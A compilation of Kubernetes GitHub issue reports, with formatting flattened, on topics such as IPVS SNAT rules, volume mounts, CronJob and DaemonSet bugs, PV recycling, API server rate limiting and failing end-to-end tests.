\r \t\t} else if len proxier.clustercidr  > 0 {\r \t\t\t// this masquerades off-cluster traffic to a service vip.  the idea\r \t\t\t// is that you can establish a static route for your service range,\r \t\t\t// routing to any node, and that node will bridge into the service\r \t\t\t// for you.  since that might bounce off-node, we masquerade here.\r \t\t\t// if/when we support \ local\  policy for vips, we should update this.\r \t\t\twriteline proxier.natrules, append args, \ dst,dst\ , \ ! -s\ , proxier.clustercidr, \ -j\ , string kubemarkmasqchain  ... \r \t\t}\r    \r    \r -a kube-services ! -s 192.168.0.0/16 -m set --match-set kube-cluster-ip dst,dst -j kube-mark-masq\r    \r \r               \r client out cluster ------router if dstip is clusterip, route to node1,node2,node3 ----node1,2,3\r                             \r    \r \r >  \r   what happened  :\r we use ipvs mod, but it snat packages when a client not in the cluster, packages may route to the different node in the cluster, so the source ip is different after snat, cause mysql connection failed.\r \r   what you expected to happen  :\r i don't want ipvs to snat package, can i change the code to : \r    \r \t\t} else if len proxier.clustercidr  > 0 {\r \t\t\t// this masquerades off-cluster traffic to a service vip.  the idea\r \t\t\t// is that you can establish a static route for your service range,\r \t\t\t// routing to any node, and that node will bridge into the service\r \t\t\t// for you.  since that might bounce off-node, we masquerade here.\r \t\t\t// if/when we support \ local\  policy for vips, we should update this.\r \t\t\t// writeline proxier.natrules, append args, \ dst,dst\ , \ ! -s\ , proxier.clustercidr, \ -j\ , string kubemarkmasqchain  ... \r \t\t}\r     \r \r   how to reproduce it  as minimally and precisely as possible   :\r we expose clusterip on the router, so  clients can access clusterip out of the cluster\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r v1.10.0\r

 \r   what happened  :\r \r when creating a pod based off of the below spec, i receive  createcontainerconfigerror . in  kubectl describe pod/pod_name  the following message is shown:\r \r    \r error: stat /logs/pods/: no such file or directory\r    \r \r the following is the deployment spec:\r \r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: myapp-web-inf\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: myapp\r         role: web\r         tier: frontend\r         env: inf\r         app_ver: 7.3.0\r         dci_ver: 1.0.4\r     spec:\r       containers:\r       - name: myapp-web\r         image: image\r         ports:\r         - containerport: 8080\r         env:\r         - name: database_host\r           value: \ \ \r         - name: jmx_server_hostname\r           valuefrom:\r             fieldref:\r               fieldpath: status.podip\r         volumemounts:\r         - name: logs\r           mountpath: /logs\r           subpath: $ pod_name \r       imagepullsecrets:\r       - name: cicdacr\r       volumes:\r       - name: logs\r         hostpath:\r           path: /logs/pods/\r    \r \r   what you expected to happen  :\r \r i expect the pod to mount a volume thats linked back to a directory of the pods hostname on the host.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r | app | version |\r | --- | --- |\r | kubernetes |  v1.11.1  |\r | docker |  v1.13.1  |\r | ubuntu |  16.04.4  |\r | kernel |  4.15.0-1013-azure  |\r \r cloud provider: azure\r install tools:  acs-engine  https://github.com/azure/acs-engine \r \r this is linked to:  61076\r \r //cc @msau42

it's our policy that contributors not use the phrasing \ fixes  99999\  in pr requests, as that causes associated issues to auto-close by github.  in fact, test-infra is planning a feature that will block this text.  however, the fixes line is present in the default pr template for k/k and possibly other repos.\r \r the urgency here is that contributors using \ fixes\  is causing problems for the 1.13 release team, since issues are being auto-closed that are not, in fact, fixed, and we lose track of them.\r \r line from pr template:\r \r    \r   which issue s  this pr fixes     optional, in  fixes  <issue number> , fixes  <issue_number>, ...   format, will close the issue s  when pr gets merged  :\r fixes  \r    \r \r  / /milestone 1.13\r \r cc\r @cblecker @castrojo @spiffxp @aishsundar \r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r there are some files and comments using  limitting  and  limitted , but these words are typos. \r \r   what you expected to happen  :\r should rename them with  limiting  and  limited .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master branch\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r  

what happened  :\r \r when running  kubectl --server-side apply -f obj.yaml  the apiserver returns an error:\r    \r error from server  notfound : services \ foo\  not found\r    \r with obj.yaml being:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: foo\r spec:\r   selector:\r     app: foo\r   ports:\r   - port: 80\r     targetport: http\r    \r \r   what you expected to happen  :\r \r the object being created if not found.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - get etcd up  third_party/etcd/etcd \r - get apiserver up  mkdir -p /tmp/certs && hack/update-bazel.sh  && bazel run  //cmd/kube-apiserver:kube-apiserver -- --port=8090 --etcd-servers=\ http://localhost:2379\  --cert-dir=\ /tmp/certs\  --admission-control=mutatingadmissionwebhook,validatingadmissionwebhook,alwaysadmit --feature-gates serversideapply=true \r - run kubectl apply  kubectl --server-side apply -f obj.yaml   built from master as well \r \r   anything else we need to know?  :\r everything built directly from master\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i need to programmatically access info contained in  kubectl describe nodes  and for doing so i was expecting  -o=json  to exist. it doesn't seem the case though and it would be really nice to have this feature, also for consistency with  kubectl get

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-serial-gce-e2e-ci/554/  failed:  k8s.io  density  serial   slow  create a sequence of pods latency/resource should be within limit when create 10 pods with 50 background pods {e2enode suite}      /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/density_test.go:208 expected error:     < errors.errorstring | 0xc82084a580>: {         s: \ too high pod startup latency 90th percentile: 52.654700079s\ ,     }     too high pod startup latency 90th percentile: 52.654700079s not to have occurred /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/density_test.go:508      previous issues for this test:  30878  31743  31877

decision from the sig-auth meeting today is that we should default to the old permissive mode in the 1.6 cycle. users can disable abac if they want to run more securely.\r \r @liggitt \r @kubernetes/sig-auth-bugs

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i created a new kube cluster on an openstack  running newton  and i created a statefulset with dynamic volume template. the pod was stuck in pending so i check the pvc:\r \r    \r  storageclass \ ssd-sf\ : expected http response code  200 204  when accessing  get https://usw1.viasat.cloud:8776/ , but got 300 instead\r {\ versions\ :  {\ status\ : \ deprecated\ , \ updated\ : \ 2016-05-02t20:25:19z\ , \ links\ :  {\ href\ : \ http://docs.openstack.org/\ , \ type\ : \ text/html\ , \ rel\ : \ describedby\ }, {\ href\ : \ http://usw1.viasat.cloud:8776/v1/\ , \ rel\ : \ self\ } , \ min_version\ : \ \ , \ version\ : \ \ , \ media-types\ :  {\ base\ : \ application/json\ , \ type\ : \ application/vnd.openstack.volume+json;version=1\ } , \ id\ : \ v1.0\ }, {\ status\ : \ supported\ , \ updated\ : \ 2014-06-28t12:20:21z\ , \ links\ :  {\ href\ : \ http://docs.openstack.org/\ , \ type\ : \ text/html\ , \ rel\ : \ describedby\ }, {\ href\ : \ http://usw1.viasat.cloud:8776/v2/\ , \ rel\ : \ self\ } , \ min_version\ : \ \ , \ version\ : \ \ , \ media-types\ :  {\ base\ : \ application/json\ , \ type\ : \ application/vnd.openstack.volume+json;version=1\ } , \ id\ : \ v2.0\ }, {\ status\ : \ current\ , \ updated\ : \ 2016-02-08t12:20:21z\ , \ links\ :  {\ href\ : \ http://docs.openstack.org/\ , \ type\ : \ text/html\ , \ rel\ : \ describedby\ }, {\ href\ : \ http://usw1.viasat.cloud:8776/v3/\ , \ rel\ : \ self\ } , \ min_version\ : \ 3.0\ , \ version\ : \ 3.15\ , \ media-types\ :  {\ base\ : \ application/json\ , \ type\ : \ application/vnd.openstack.volume+json;version=1\ } , \ id\ : \ v3.0\ } }\r    \r \r it is stuck like this and will not move forward.\r \r   what you expected to happen  : the volume should have been created and the pod should have been started.\r \r   how to reproduce it  as minimally and precisely as possible   : create a pvc:\r \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: influxdb-storage\r   namespace: metrics\r   annotations:\r     volume.beta.kubernetes.io/storage-class: ssd-hp\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1ti\r    \r \r then issue the create command:\r \r    \r $ k create -f ../kube/heapster/influxdb-pvc.yml\r $ km describe pvc influxdb-storage\r name:\t\tinfluxdb-storage\r namespace:\tmetrics\r storageclass:\tssd-hp\r status:\t\tpending\r volume:\r labels:\t\t<none>\r annotations:\tvolume.beta.kubernetes.io/storage-class=ssd-hp\r \t\tvolume.beta.kubernetes.io/storage-provisioner=kubernetes.io/cinder\r capacity:\r access modes:\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   58s\t\t11s\t\t5\tpersistentvolume-controller\t\t\twarning\t\tprovisioningfailed\tfailed to provision volume with storageclass \ ssd-hp\ : expected http response code  200 204  when accessing  get https://usw1.viasat.cloud:8776/ , but got 300 instead\r {\ versions\ :  {\ status\ : \ deprecated\ , \ updated\ : \ 2016-05-02t20:25:19z\ , \ links\ :  {\ href\ : \ http://docs.openstack.org/\ , \ type\ : \ text/html\ , \ rel\ : \ describedby\ }, {\ href\ : \ http://usw1.viasat.cloud:8776/v1/\ , \ rel\ : \ self\ } , \ min_version\ : \ \ , \ version\ : \ \ , \ media-types\ :  {\ base\ : \ application/json\ , \ type\ : \ application/vnd.openstack.volume+json;version=1\ } , \ id\ : \ v1.0\ }, {\ status\ : \ supported\ , \ updated\ : \ 2014-06-28t12:20:21z\ , \ links\ :  {\ href\ : \ http://docs.openstack.org/\ , \ type\ : \ text/html\ , \ rel\ : \ describedby\ }, {\ href\ : \ http://usw1.viasat.cloud:8776/v2/\ , \ rel\ : \ self\ } , \ min_version\ : \ \ , \ version\ : \ \ , \ media-types\ :  {\ base\ : \ application/json\ , \ type\ : \ application/vnd.openstack.volume+json;version=1\ } , \ id\ : \ v2.0\ }, {\ status\ : \ current\ , \ updated\ : \ 2016-02-08t12:20:21z\ , \ links\ :  {\ href\ : \ http://docs.openstack.org/\ , \ type\ : \ text/html\ , \ rel\ : \ describedby\ }, {\ href\ : \ http://usw1.viasat.cloud:8776/v3/\ , \ rel\ : \ self\ } , \ min_version\ : \ 3.0\ , \ version\ : \ 3.15\ , \ media-types\ :  {\ base\ : \ application/json\ , \ type\ : \ application/vnd.openstack.volume+json;version=1\ } , \ id\ : \ v3.0\ } }\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.1-coreos.0\r - cloud provider or hardware configuration  : openstack newton\r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1409.6.0\r version_id=1409.6.0\r build_id=2017-07-06-0128\r pretty_name=\ container linux by coreos 1409.6.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :  linux deleteme-kube-master-01.openstacklocal 4.11.9-coreos  1 smp thu jul 6 00:54:42 utc 2017 x86_64 intel core processor  haswell  genuineintel gnu/linux \r - install tools: kubespray  today's  master  with modification to run 1.7.1 \r - others:

hi ! \r \r i got a bug using cronjobs, \r i activated cronjob api on kube-apiserver, then reload the api to create a cron test, \r this test fail  wrong launch command , so i deleted the cronjob ressource. \r \r my problem is : the cron's pods are created when i delete them, and i don't find any way to stop theses pod creations.. \r \r  \r   what happened  :\r the cronjob ressource is deleted but the pod are still created. \r \r   what you expected to happen  :\r stop to create cron's pod if the ressource don't exist.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use 1.7.2, create a cronjob, delete him, take a look at pods. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r on own virtual machines  kvm \r - os  e.g. from /etc/os-release :\r debian stretch\r - kernel  e.g.  uname -a  :\r  4.9.0-3-amd64 \r - install tools:\r - others:\r calico as cni plugin. \r \r example : \r \r    \r ↳ k get pod\r name                            ready     status             restarts   age\r test-hipchat-1501546200-whjv2   0/1       crashloopbackoff   6          6m\r test-hipchat-1501546320-rrsr0   0/1       crashloopbackoff   23         1h\r \r ↳ k get cronjob\r the server doesn't have a resource type \ cronjob\ \r \r ↳ k delete pod test-hipchat-1501546200-whjv2\r pod \ test-hipchat-1501546200-whjv2\  deleted\r \r ↳ k get pod\r name                            ready     status                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   restarts   age\r test-hipchat-1501546200-1v335   0/1       rpc error: code = 2 desc = failed to start container \ e9ba00560d21d022f511ca4927d12b033d84910d1497ae3eff2e8eed945a5a4c\ : error response from daemon: {\ message\ :\ oci runtime error: container_linux.go:247: starting container process caused \\\ exec: \\...}\r test-hipchat-1501546320-rrsr0   0/1       crashloopbackoff\r    \r the only way to delete all pods  more than 100  created with not any cronjob created was to delete all etcd keys like  /registry/events/default/test-hipchat-1501546320-rrsr0.14d690b7a7720946

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r   \r >  \r \r   what happened  :\r \r    \r  root@ ibm1046 hp   cat pv.yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: local-pv-1\r   labels:\r     type: local\r spec:\r   capacity:\r     storage: 20gi\r   accessmodes:\r     - readwriteonce\r   hostpath:\r     path: /tmp/data/pv-1\r   persistentvolumereclaimpolicy: recycle\r    \r    \r  root@ ibm1046 hp   cat pvc.yaml\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: example-local-clai\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r    \r \r use the above two files create one pv and pvc, then delete the pvc, the pv will become failed but not released.\r \r    \r root@ibm1046:~/gyliu/hp  kubectl -s 127.0.0.1:8888 get pv | grep local-pv-1\r local-pv-1                               20gi       rwo           recycle         failed    default/example-local-clai\r    \r \r    \r root@ibm1046:~/gyliu/hp  kubectl -s  127.0.0.1:8888 describe pv local-pv-1\r name:\t\tlocal-pv-1\r labels:\t\ttype=local\r annotations:\tkubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ persistentvolume\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ type\ :\ local\ },\ name\ :\ local-pv-1\ ,\ namespace\ :\ \ },\ spec\ :{\ access...\r \t\tpv.kubernetes.io/bound-by-controller=yes\r storageclass:\r status:\t\tfailed\r claim:\t\tdefault/example-local-clai\r reclaim policy:\trecycle\r access modes:\trwo\r capacity:\t20gi\r message:\trecycle failed: pod failed, pod.status.message unknown.\r source:\r     type:\thostpath  bare host directory volume \r     path:\t/tmp/data/pv-1\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   1m\t\t1m\t\t1\tpersistentvolume-controller\t\t\twarning\t\tvolumefailedrecycle\trecycle failed: pod failed, pod.status.message unknown.\r   1m\t\t15s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: successfully assigned recycler-for-local-pv-1 to 9.42.76.16\r   1m\t\t14s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: mountvolume.setup succeeded for volume \ default-token-x8llz\ \r   1m\t\t14s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: mountvolume.setup succeeded for volume \ vol\ \r   1m\t\t13s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: pulling image \ gcr.io/google_containers/busybox\ \r   1m\t\t13s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: successfully pulled image \ gcr.io/google_containers/busybox\ \r   1m\t\t13s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: created container\r   1m\t\t12s\t\t45\tpersistentvolume-controller\t\t\tnormal\t\trecyclerpod\t\trecycler pod: started container\r    \r \r the busybox recycler never succeed for power.\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r when creating a daemonset via kubectl, it returns an error:\r      selector  does not match template  labels     \r this happened on kubernetes 1.8.1 with the api  apps/v1beta2 \r \r   what you expected to happen  :\r the daemonset to be created without errors. the selector should be automatically filled with the pod labels as it says on the  documentation  https://kubernetes.io/docs/api-reference/v1.8/ daemonsetspec-v1beta2-apps :\r \r > if empty, defaulted to labels on pod template.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a daemonset:\r    \r apiversion: apps/v1beta2\r kind: daemonset\r metadata:\r   name: my-ds\r   labels:\r     version: v0.9\r     k8s-app: myapp\r spec:\r   template:\r     metadata:\r       name: my-ds\r       labels:\r         version: v0.9\r         k8s-app: myapp\r     spec:\r       hostnetwork: true\r       containers:\r       - name: mypod\r         image: debian\r         command:\r           - \ /bin/bash\ \r           - \ -c\ \r           - \ --\ \r         args:\r           - \ tail -f /dev/null\ \r    \r run:\r    kubectl create -f daemonset.yaml   \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : debian 9  kops \r - kernel  e.g.  uname -a  : linux version 4.4.78-k8s  gcc version 4.9.2  debian 4.9.2-10   \r - install tools: kops 1.8.0-alpha.1\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i had a node missbehaving. journal of the kubelet showed this:\r    \r mar 13 16:02:43 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:02:43.934473    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m5.30015447s ago; threshold is 3m0s \r mar 13 16:02:48 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:02:48.934773    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m10.30056416s ago; threshold is 3m0s \r mar 13 16:02:53 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:02:53.935030    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m15.300823802s ago; threshold is 3m0s \r mar 13 16:02:58 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:02:58.935306    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m20.301094771s ago; threshold is 3m0s \r mar 13 16:03:03 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:03:03.940675    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m25.306459083s ago; threshold is 3m0s \r mar 13 16:03:08 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:03:08.940998    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m30.306781014s ago; threshold is 3m0s \r mar 13 16:03:13 vk-prod4-node-v18-w3fz kubelet 1450 : i0313 16:03:13.941284    1450 kubelet.go:1778  skipping pod synchronization -  pleg is not healthy: pleg was last seen active 3m35.307062566s ago; threshold is 3m0s \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.8\r - cloud provider or hardware configuration: gce\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts \r - kernel  e.g.  uname -a  : 4.13.0-1011-gcp\r - install tools: kubeadm\r - others: \r    - docker version: 1.12.6-cs13\r    - i'm using calico for networking\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r currently when mounting windows a windows dir,  ro  options is not respected. need to find a way to make a directory as readonly. and also for feature like mounting azure file,  new-smbglobalmapping  also does not support  readonly  attribute.  \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign @patricklang

reproduced at head:\r    \r wojtekt@e2e-test-wojtekt-master ~ $ curl localhost:8080/api/v1/namespaces/foo/pods\r {\r   \ kind\ : \ podlist\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /api/v1/namespaces/foo/pods\ ,\r     \ resourceversion\ : \ 3243\ \r   },\r   \ items\ :   \r }\r    \r \r vs\r \r    \r wojtekt@e2e-test-wojtekt-master ~ $ curl localhost:8080/api/v1/namespaces/kube-system/pods?fieldselector=metadata.name=foo\r {\r   \ kind\ : \ podlist\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /api/v1/namespaces/kube-system/pods\ \r   },\r   \ items\ :   \r }\r    \r \r  the items part is correct, but there is no \ resourceversion\  field set. \r \r @kubernetes/sig-api-machinery-bugs

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r i want kubelet to reponse with a \ start of text\  byte before sending real logs.\r \r   why is this needed  :\r when live-streaming pod logs by setting 'follow' to true, the python client  requests/urllib3  needs at least one byte from server to return a response object . when there is no log yield yet, python client would hang in the thread waiting for a response, this make writing a async client very hard.  if put the client in a coprocessing environment, it would block other task. \r \r <!-- do not edit below this line -->\r 

hi, i am trying to create a kafka service where i should be able to see the loadbalancer ingress ip but it is not there. here is my yaml file:\r    \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: kafka-service\r   labels:\r     name: kafka\r     app: kafka\r spec:\r   ports:\r   - port: 9092\r     name: kafka-port\r     protocol: tcp\r   selector:\r     app: kafka\r     id: \ 0\ \r   type: loadbalancer\r \r \r    \r \r and here is the output.\r    \r $ kubectl create -f kafka-service.yml   \r     service/kafka-service created   \r     \r     \r $ kubectl describe  service kafka-service    \r \r name:                     kafka-service\r namespace:                default\r labels:                   app=kafka\r                           name=kafka\r annotations:              <none>\r selector:                 app=kafka,id=0\r type:                     loadbalancer\r ip:                       10.103.120.110\r port:                     kafka-port  9092/tcp\r targetport:               9092/tcp\r nodeport:                 kafka-port  32244/tcp\r endpoints:                <none>\r session affinity:         none\r external traffic policy:  cluster\r events:                   <none>\r    \r so from the above out put \r loadbalancer ingress: ip_address  is not exist\r \r even though the service is created but for the deployment i want to use this ip as kafka_advertised_host_name\r any idea what could be the solution.\r \r \r \r <!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r

what happened  :\r add-on manager uses kubectl apply to create the kube-system namespace at start-up. \r this is redundant because the kube-apiserver creates the namespace in newbootstrapcontroller. \r this is a problem because if someone uses apply to make changes to the kube-system namespace, the add-on manager will wipe out these changes. \r \r   what you expected to happen  :\r kube-apiserver has the sole responsibility of creating the kube-system namespace.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl apply a label to the kube-system namespace.\r restart the add-on manager.\r note the labels have been removed.\r \r   anything else we need to know?  :\r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

in testing a 1000 node cluster with single master, attempting to health-check the cluster results in errors.  fetching https://104.155.220.201/api/v1/componentstatuses gives: 429 too many requests 429 http/1.1 1 1 map content-length: 43  content-type: text/plain; charset=utf-8  date: mon, 01 feb 2016 21:44:14 gmt  retry-after: 1    that consistently happens with both 1.1.7 and 1.2.0-alpha.6.  looks to me like some form of rate limiting?  we clearly need the api server to reliably serve those health checking requests.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/14061/  failed:  k8s.io  kubectl client  k8s.io  kubectl describe should check if kubectl describe prints relevant information for rc and pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:629 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.197.168.212 --kubeconfig=/workspace/.kube/config describe node gke-jenkins-e2e-default-pool-bc62ec54-16gs      <nil>  error from server: an error on the server has prevented the request from succeeding  get nodes gke-jenkins-e2e-default-pool-bc62ec54-16gs \     <nil> 0xc82012c2e0 exit status 1 <nil> true  0xc820032da8 0xc820032e20 0xc820032ee0   0xc820032da8 0xc820032e20 0xc820032ee0   0xc820032df0 0xc820032eb8   0xabf1b0 0xabf1b0  0xc8209e0fc0}:\ command stdout:\ \ stderr:\ error from server: an error on the server has prevented the request from succeeding  get nodes gke-jenkins-e2e-default-pool-bc62ec54-16gs \ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://104.197.168.212 --kubeconfig=/workspace/.kube/config describe node gke-jenkins-e2e-default-pool-bc62ec54-16gs      <nil>  error from server: an error on the server has prevented the request from succeeding  get nodes gke-jenkins-e2e-default-pool-bc62ec54-16gs          <nil> 0xc82012c2e0 exit status 1 <nil> true  0xc820032da8 0xc820032e20 0xc820032ee0   0xc820032da8 0xc820032e20 0xc820032ee0   0xc820032df0 0xc820032eb8   0xabf1b0 0xabf1b0  0xc8209e0fc0}:     command stdout:      stderr:     error from server: an error on the server has prevented the request from succeeding  get nodes gke-jenkins-e2e-default-pool-bc62ec54-16gs       error:     exit status 1  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:1976      previous issues for this test:  28774

the daemonset controller fetches all pods in the system twice for every daemon set and node update in  nodeshouldrundaemonpod  https://github.com/kubernetes/kubernetes/blob/cf2dc3968b887199f3ffad48ac470af2ba9b2e32/pkg/controller/daemon/daemoncontroller.go l668-l672 . we may want to add a nodenameindex in the pod cache and index pods by node, then use the index in the controller.\r \r @kubernetes/sig-apps-misc @kubernetes/sig-node-misc

edit a pod, add:\r \r    \r env:\r - name: a\r   value: 1\r - name: b\r   value: 2\r    \r \r this should give me a validation error, but instead it causes a patch error  value must be a string  and kicks me out.  very bad.\r \r    \r kubectl edit pod/nginx\r error: pods \ nginx\  could not be patched:  pos 371 : json: expect char '\ ' but got char '1'\r you can run  kubectl replace -f /var/folders/zw/j6656mbn1rv4fnqqdggss8h80000gn/t/kubectl-edit-fplln.yaml  to try this update again.\r

similar to the one being added for federation-apiserver in https://github.com/kubernetes/kubernetes/pull/42278.\r once that pr is merged, we can follow the pattern established there to create a similar fixture for kube-apiserver.\r \r cc @marun @sttts

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r  client-go validation \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r ---\r \r in  service-catalog  https://github.com/kubernetes-incubator/service-catalog , we are building an api that has fields which are kubernetes api types.  currently, we do not export any type of validation in client-go to allow the validation of complex types in external apis - it would be very convenient if this was possible to do.  example use-cases:\r \r 1.  validate a secret name\r 2.  validate a  podpresetspec \r \r possibly related: https://github.com/kubernetes/kubernetes/issues/39434

